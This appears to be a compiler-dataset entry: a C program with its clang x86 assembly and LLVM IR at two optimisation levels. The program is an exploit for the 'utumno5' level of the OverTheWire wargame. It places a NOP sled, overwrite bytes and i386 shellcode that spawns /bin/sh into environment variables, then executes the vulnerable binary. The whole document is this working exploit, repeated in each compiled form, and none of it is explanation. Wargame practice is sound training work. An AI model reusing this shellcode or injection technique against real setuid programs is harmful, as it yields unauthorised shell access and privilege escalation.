#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ execve(char *, int /*<<< orphan*/ *, char **);
int main() {
  char *env[12];
  env[0] = env[1] = env[2] = env[3] = env[4] = env[5] = env[6] = env[7] =
      env[8] = "";
  env[9] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\xff\xff\xff\xff";
  env[10] = "\xff\xff\xff\xff\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68"
            "\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
  env[11] = NULL;
  execve("/utumno/utumno5", NULL, env);
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x60,%rsp
lea    0xf25(%rip),%rax
mov    %rax,-0x20(%rbp)
lea    0xf1a(%rip),%rax
mov    %rax,-0x28(%rbp)
lea    0xf0f(%rip),%rax
mov    %rax,-0x30(%rbp)
lea    0xf04(%rip),%rax
mov    %rax,-0x38(%rbp)
lea    0xef9(%rip),%rax
mov    %rax,-0x40(%rbp)
lea    0xeee(%rip),%rax
mov    %rax,-0x48(%rbp)
lea    0xee3(%rip),%rax
mov    %rax,-0x50(%rbp)
lea    0xed8(%rip),%rax
mov    %rax,-0x58(%rbp)
lea    0xecd(%rip),%rax
mov    %rax,-0x60(%rbp)
lea    0xe7e(%rip),%rax
mov    %rax,-0x18(%rbp)
lea    0xe89(%rip),%rax
mov    %rax,-0x10(%rbp)
movq   $0x0,-0x8(%rbp)
lea    -0x60(%rbp),%rdx
lea    0xe91(%rip),%rdi
xor    %eax,%eax
mov    %eax,%esi
call   1030 <execve@plt>
xor    %eax,%eax
add    $0x60,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
sub    $0x68,%rsp
lea    0xf29(%rip),%rax
mov    %rax,0x40(%rsp)
mov    %rax,0x38(%rsp)
mov    %rax,0x30(%rsp)
mov    %rax,0x28(%rsp)
mov    %rax,0x20(%rsp)
mov    %rax,0x18(%rsp)
mov    %rax,0x10(%rsp)
mov    %rax,0x8(%rsp)
mov    %rax,(%rsp)
lea    0xeb2(%rip),%rax
mov    %rax,0x48(%rsp)
lea    0xebc(%rip),%rax
mov    %rax,0x50(%rsp)
movq   $0x0,0x58(%rsp)
lea    0xec6(%rip),%rdi
mov    %rsp,%rdx
xor    %esi,%esi
call   1030 <execve@plt>
xor    %eax,%eax
add    $0x68,%rsp
ret

LLVM IR (-O0):
@.str = [1 x i8] zeroinitializer
@.str.1 = [22 x i8] c"\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\FF\FF\FF\FF\00"
@.str.2 = [31 x i8] c"\FF\FF\FF\FF1\C0\99\B0\0BRh//shh/bin\89\E3R\89\E2S\89\E1\CD\80\00"
@.str.3 = [16 x i8] c"/utumno/utumno5\00"
define i32 @main() {
%1 = alloca [12 x i8*]
%2 = getelementptr inbounds [12 x i8*], [12 x i8*]* %1, i64 0, i64 8
store i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str, i64 0, i64 0), i8** %2
%3 = getelementptr inbounds [12 x i8*], [12 x i8*]* %1, i64 0, i64 7
store i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str, i64 0, i64 0), i8** %3
%4 = getelementptr inbounds [12 x i8*], [12 x i8*]* %1, i64 0, i64 6
store i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str, i64 0, i64 0), i8** %4
%5 = getelementptr inbounds [12 x i8*], [12 x i8*]* %1, i64 0, i64 5
store i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str, i64 0, i64 0), i8** %5
%6 = getelementptr inbounds [12 x i8*], [12 x i8*]* %1, i64 0, i64 4
store i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str, i64 0, i64 0), i8** %6
%7 = getelementptr inbounds [12 x i8*], [12 x i8*]* %1, i64 0, i64 3
store i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str, i64 0, i64 0), i8** %7
%8 = getelementptr inbounds [12 x i8*], [12 x i8*]* %1, i64 0, i64 2
store i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str, i64 0, i64 0), i8** %8
%9 = getelementptr inbounds [12 x i8*], [12 x i8*]* %1, i64 0, i64 1
store i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str, i64 0, i64 0), i8** %9
%10 = getelementptr inbounds [12 x i8*], [12 x i8*]* %1, i64 0, i64 0
store i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str, i64 0, i64 0), i8** %10
%11 = getelementptr inbounds [12 x i8*], [12 x i8*]* %1, i64 0, i64 9
store i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str.1, i64 0, i64 0), i8** %11
%12 = getelementptr inbounds [12 x i8*], [12 x i8*]* %1, i64 0, i64 10
store i8* getelementptr inbounds ([31 x i8], [31 x i8]* @.str.2, i64 0, i64 0), i8** %12
%13 = getelementptr inbounds [12 x i8*], [12 x i8*]* %1, i64 0, i64 11
store i8* null, i8** %13
%14 = getelementptr inbounds [12 x i8*], [12 x i8*]* %1, i64 0, i64 0
%15 = call i32 @execve(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.3, i64 0, i64 0), i32* null, i8** %14)
ret i32 0
}

LLVM IR (-O2):
@.str = [1 x i8] zeroinitializer
@.str.1 = [22 x i8] c"\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\FF\FF\FF\FF\00"
@.str.2 = [31 x i8] c"\FF\FF\FF\FF1\C0\99\B0\0BRh//shh/bin\89\E3R\89\E2S\89\E1\CD\80\00"
@.str.3 = [16 x i8] c"/utumno/utumno5\00"
define i32 @main() {
%1 = alloca [12 x i8*]
%2 = bitcast [12 x i8*]* %1 to i8*
%3 = getelementptr inbounds [12 x i8*], [12 x i8*]* %1, i64 0, i64 8
store i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str, i64 0, i64 0), i8** %3
%4 = getelementptr inbounds [12 x i8*], [12 x i8*]* %1, i64 0, i64 7
store i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str, i64 0, i64 0), i8** %4
%5 = getelementptr inbounds [12 x i8*], [12 x i8*]* %1, i64 0, i64 6
store i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str, i64 0, i64 0), i8** %5
%6 = getelementptr inbounds [12 x i8*], [12 x i8*]* %1, i64 0, i64 5
store i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str, i64 0, i64 0), i8** %6
%7 = getelementptr inbounds [12 x i8*], [12 x i8*]* %1, i64 0, i64 4
store i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str, i64 0, i64 0), i8** %7
%8 = getelementptr inbounds [12 x i8*], [12 x i8*]* %1, i64 0, i64 3
store i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str, i64 0, i64 0), i8** %8
%9 = getelementptr inbounds [12 x i8*], [12 x i8*]* %1, i64 0, i64 2
store i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str, i64 0, i64 0), i8** %9
%10 = getelementptr inbounds [12 x i8*], [12 x i8*]* %1, i64 0, i64 1
store i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str, i64 0, i64 0), i8** %10
%11 = getelementptr inbounds [12 x i8*], [12 x i8*]* %1, i64 0, i64 0
store i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str, i64 0, i64 0), i8** %11
%12 = getelementptr inbounds [12 x i8*], [12 x i8*]* %1, i64 0, i64 9
store i8* getelementptr inbounds ([22 x i8], [22 x i8]* @.str.1, i64 0, i64 0), i8** %12
%13 = getelementptr inbounds [12 x i8*], [12 x i8*]* %1, i64 0, i64 10
store i8* getelementptr inbounds ([31 x i8], [31 x i8]* @.str.2, i64 0, i64 0), i8** %13
%14 = getelementptr inbounds [12 x i8*], [12 x i8*]* %1, i64 0, i64 11
store i8* null, i8** %14
%15 = call i32 @execve(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.3, i64 0, i64 0), i32* null, i8** %11)
ret i32 0
}